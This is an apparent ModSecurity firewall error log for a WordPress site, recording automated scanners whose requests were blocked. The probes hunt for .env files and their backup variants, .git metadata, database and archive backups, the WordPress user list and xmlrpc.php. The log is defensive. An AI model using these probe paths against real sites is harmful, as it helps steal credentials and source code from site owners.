[Thu May 14 15:43:49.483993 2026] [:error] [pid 47673:tid 47699] [client 167.94.165.65:56329] [client 167.94.165.65] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agV9NfCGe4cIn3sh5k0Q8QAAAVg"]
[Fri May 15 05:46:06.573039 2026] [:error] [pid 1188:tid 1205] [client 208.84.100.42:20304] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "agZCntY68iW8yuNkNzPLggAAAAg"]
[Fri May 15 05:46:06.574958 2026] [:error] [pid 1188:tid 1204] [client 208.84.100.42:20292] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "agZCntY68iW8yuNkNzPLgwAAAAc"]
[Fri May 15 05:46:06.790397 2026] [:error] [pid 1189:tid 1249] [client 208.84.100.42:20310] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "agZCnge36qIGegR4kclKtwAAAFg"]
[Fri May 15 05:46:06.982824 2026] [:error] [pid 1188:tid 1213] [client 208.84.100.42:20352] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "agZCntY68iW8yuNkNzPLhAAAABA"]
[Fri May 15 05:46:06.982824 2026] [:error] [pid 1189:tid 1229] [client 208.84.100.42:20340] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/app/.env"] [unique_id "agZCnge36qIGegR4kclKuAAAAEQ"]
[Fri May 15 05:46:06.983306 2026] [:error] [pid 1188:tid 1216] [client 208.84.100.42:20324] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "agZCntY68iW8yuNkNzPLhQAAABM"]
[Fri May 15 05:46:09.809065 2026] [:error] [pid 50531:tid 50546] [client 208.84.100.42:20366] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.copy"] [unique_id "agZCoR3WbFwE6voqGzqf8gAAAQ0"]
[Fri May 15 05:46:09.823279 2026] [:error] [pid 50531:tid 50540] [client 208.84.100.42:20382] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "agZCoR3WbFwE6voqGzqf8wAAAQc"]
[Fri May 15 05:46:09.823781 2026] [:error] [pid 1189:tid 1228] [client 208.84.100.42:20308] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "agZCoQe36qIGegR4kclKuQAAAEM"]
[Fri May 15 05:46:09.823932 2026] [:error] [pid 50531:tid 50536] [client 208.84.100.42:20364] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/FETCH_HEAD"] [unique_id "agZCoR3WbFwE6voqGzqf9AAAAQM"]
[Fri May 15 05:46:10.748690 2026] [:error] [pid 1189:tid 1239] [client 208.84.100.42:63078] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.orig"] [unique_id "agZCoge36qIGegR4kclKugAAAE4"]
[Fri May 15 05:46:10.751906 2026] [:error] [pid 1188:tid 1221] [client 208.84.100.42:63064] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.swp"] [unique_id "agZCotY68iW8yuNkNzPLkQAAABg"]
[Fri May 15 05:46:10.752747 2026] [:error] [pid 1189:tid 1226] [client 208.84.100.42:63048] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production~"] [unique_id "agZCoge36qIGegR4kclKuwAAAEE"]
[Fri May 15 05:46:10.754045 2026] [:error] [pid 1189:tid 1225] [client 208.84.100.42:63044] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.save"] [unique_id "agZCoge36qIGegR4kclKvAAAAEA"]
[Fri May 15 05:46:10.758623 2026] [:error] [pid 1189:tid 1238] [client 208.84.100.42:63042] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.backup"] [unique_id "agZCoge36qIGegR4kclKvQAAAE0"]
[Fri May 15 05:46:10.760854 2026] [:error] [pid 1188:tid 1211] [client 208.84.100.42:63026] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.old"] [unique_id "agZCotY68iW8yuNkNzPLkgAAAA4"]
[Fri May 15 05:46:10.763460 2026] [:error] [pid 1188:tid 1201] [client 208.84.100.42:63020] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production.bak"] [unique_id "agZCotY68iW8yuNkNzPLkwAAAAQ"]
[Fri May 15 05:46:10.767818 2026] [:error] [pid 1188:tid 1217] [client 208.84.100.42:63006] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local.copy"] [unique_id "agZCotY68iW8yuNkNzPLlQAAABQ"]
[Fri May 15 05:46:10.769994 2026] [:error] [pid 1189:tid 1227] [client 208.84.100.42:62994] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local.orig"] [unique_id "agZCoge36qIGegR4kclKvgAAAEI"]
[Fri May 15 05:46:10.770603 2026] [:error] [pid 1188:tid 1202] [client 208.84.100.42:62990] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local.swp"] [unique_id "agZCotY68iW8yuNkNzPLlgAAAAU"]
[Fri May 15 05:46:10.775192 2026] [:error] [pid 50531:tid 50556] [client 208.84.100.42:62982] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local~"] [unique_id "agZCoh3WbFwE6voqGzqf9QAAARc"]
[Fri May 15 05:46:10.775345 2026] [:error] [pid 50531:tid 50554] [client 208.84.100.42:62978] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local.save"] [unique_id "agZCoh3WbFwE6voqGzqf9gAAARU"]
[Fri May 15 05:46:10.775628 2026] [:error] [pid 1188:tid 1198] [client 208.84.100.42:62950] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local.old"] [unique_id "agZCotY68iW8yuNkNzPLlwAAAAE"]
[Fri May 15 05:46:10.776415 2026] [:error] [pid 1295:tid 1320] [client 208.84.100.42:62966] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local.backup"] [unique_id "agZCotmMhqLvs0GYixnXRgAAANY"]
[Fri May 15 05:46:10.777384 2026] [:error] [pid 1190:tid 1271] [client 208.84.100.42:62942] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local.bak"] [unique_id "agZCotqiXrD7hne4gFaapQAAAJM"]
[Fri May 15 05:46:10.777608 2026] [:error] [pid 1295:tid 1299] [client 208.84.100.42:62926] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.copy"] [unique_id "agZCotmMhqLvs0GYixnXRwAAAME"]
[Fri May 15 05:46:10.779638 2026] [:error] [pid 1190:tid 1256] [client 208.84.100.42:62914] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.orig"] [unique_id "agZCotqiXrD7hne4gFaapgAAAIQ"]
[Fri May 15 05:46:10.781674 2026] [:error] [pid 1295:tid 1317] [client 208.84.100.42:62912] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.swp"] [unique_id "agZCotmMhqLvs0GYixnXSAAAANM"]
[Fri May 15 05:46:10.782565 2026] [:error] [pid 1295:tid 1314] [client 208.84.100.42:62892] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.save"] [unique_id "agZCotmMhqLvs0GYixnXSQAAANA"]
[Fri May 15 05:46:10.782707 2026] [:error] [pid 1188:tid 1212] [client 208.84.100.42:62902] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env~"] [unique_id "agZCotY68iW8yuNkNzPLmAAAAA8"]
[Fri May 15 05:46:10.785667 2026] [:error] [pid 1295:tid 1316] [client 208.84.100.42:62876] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "agZCotmMhqLvs0GYixnXSgAAANI"]
[Fri May 15 05:46:10.829559 2026] [:error] [pid 1188:tid 1207] [client 208.84.100.42:62874] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "agZCotY68iW8yuNkNzPLmQAAAAo"]
[Fri May 15 05:46:10.835590 2026] [:error] [pid 50531:tid 50555] [client 208.84.100.42:62872] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "agZCoh3WbFwE6voqGzqf9wAAARY"]
[Fri May 15 05:46:10.836859 2026] [:error] [pid 50531:tid 50537] [client 208.84.100.42:62840] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/refs/heads/master"] [unique_id "agZCoh3WbFwE6voqGzqf-AAAAQQ"]
[Fri May 15 05:46:10.837581 2026] [:error] [pid 50531:tid 50534] [client 208.84.100.42:62832] [client 208.84.100.42] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/logs/HEAD"] [unique_id "agZCoh3WbFwE6voqGzqf-QAAAQE"]
[Fri May 15 07:15:57.528665 2026] [:error] [pid 50531:tid 50534] [client 35.236.12.110:52762] [client 35.236.12.110] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "agZXrR3WbFwE6voqGzq0ogAAAQE"]
[Fri May 15 08:13:45.667046 2026] [:error] [pid 1295:tid 1317] [client 34.35.143.72:58942] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.local"] [unique_id "agZlOdmMhqLvs0GYixnxuQAAANM"]
[Fri May 15 08:13:45.699658 2026] [:error] [pid 1189:tid 1231] [client 34.35.143.72:58938] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "agZlOQe36qIGegR4kcldjQAAAEY"]
[Fri May 15 08:13:45.712753 2026] [:error] [pid 1188:tid 1199] [client 34.35.143.72:58948] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev"] [unique_id "agZlOdY68iW8yuNkNzPb5wAAAAI"]
[Fri May 15 08:13:45.779632 2026] [:error] [pid 1188:tid 1201] [client 34.35.143.72:58972] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env.local"] [unique_id "agZlOdY68iW8yuNkNzPb6QAAAAQ"]
[Fri May 15 08:13:45.789803 2026] [:error] [pid 1189:tid 1235] [client 34.35.143.72:58964] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/admin/.env"] [unique_id "agZlOQe36qIGegR4kcldjgAAAEo"]
[Fri May 15 08:13:45.902505 2026] [:error] [pid 51234:tid 51254] [client 34.35.143.72:58986] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.dev.local"] [unique_id "agZlOd72N9CbeiqcqgObQQAAAVI"]
[Fri May 15 08:13:46.221410 2026] [:error] [pid 51234:tid 51259] [client 34.35.143.72:58990] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/api/.env"] [unique_id "agZlOt72N9CbeiqcqgObQwAAAVc"]
[Fri May 15 08:13:46.240780 2026] [:error] [pid 1188:tid 1200] [client 34.35.143.72:58994] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.docker"] [unique_id "agZlOtY68iW8yuNkNzPb6wAAAAM"]
[Fri May 15 08:13:46.393184 2026] [:error] [pid 51234:tid 51242] [client 34.35.143.72:59002] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env.development.local"] [unique_id "agZlOt72N9CbeiqcqgObRAAAAUY"]
[Fri May 15 08:13:46.690911 2026] [:error] [pid 1189:tid 1226] [client 34.35.143.72:59006] [client 34.35.143.72] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/app/.env"] [unique_id "agZlOge36qIGegR4kcldkAAAAEE"]
[Fri May 15 08:46:29.187167 2026] [:error] [pid 51234:tid 51238] [client 34.50.77.140:49764] [client 34.50.77.140] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "agZs5d72N9CbeiqcqgO-ZAAAAUI"]
[Fri May 15 08:48:20.054221 2026] [:error] [pid 1189:tid 1238] [client 34.130.10.163:39690] [client 34.130.10.163] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "agZtVAe36qIGegR4kclx8QAAAE0"]
[Fri May 15 09:05:22.890976 2026] [:error] [pid 51234:tid 51246] [client 139.218.216.97:57132] [client 139.218.216.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.218.216.97, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agZxUt72N9CbeiqcqgPF4wAAAUo"]
[Fri May 15 09:05:22.901642 2026] [proxy_fcgi:error] [pid 51234:tid 51246] [client 139.218.216.97:57132] AH01071: Got error 'Primary script unknown'
[Fri May 15 09:15:51.868896 2026] [:error] [pid 51234:tid 51240] [client 52.165.250.240:40399] [client 52.165.250.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.165.250.240, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/wp/xmlrpc.php"] [unique_id "agZzx972N9CbeiqcqgPIuAAAAUQ"]
[Fri May 15 09:54:15.539224 2026] [:error] [pid 1189:tid 1229] [client 34.97.8.90:45136] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api.sql.gz"] [unique_id "agZ8xwe36qIGegR4kcmAOgAAAEQ"]
[Fri May 15 09:54:16.368957 2026] [:error] [pid 1295:tid 1318] [client 34.97.8.90:45152] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api.sql.bz2"] [unique_id "agZ8yNmMhqLvs0GYixka2gAAANQ"]
[Fri May 15 09:54:17.206821 2026] [:error] [pid 1189:tid 1234] [client 34.97.8.90:45160] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api.sql"] [unique_id "agZ8yQe36qIGegR4kcmAPgAAAEk"]
[Fri May 15 09:54:18.014113 2026] [:error] [pid 1190:tid 1275] [client 34.97.8.90:45166] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.zip"] [unique_id "agZ8ytqiXrD7hne4gFbIVQAAAJc"]
[Fri May 15 09:54:18.784230 2026] [:error] [pid 1188:tid 1197] [client 34.97.8.90:45170] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.tar.gz"] [unique_id "agZ8ytY68iW8yuNkNzPwOwAAAAA"]
[Fri May 15 09:54:19.564489 2026] [:error] [pid 1188:tid 1215] [client 34.97.8.90:45184] [client 34.97.8.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/backup.tgz"] [unique_id "agZ8y9Y68iW8yuNkNzPwPAAAABI"]
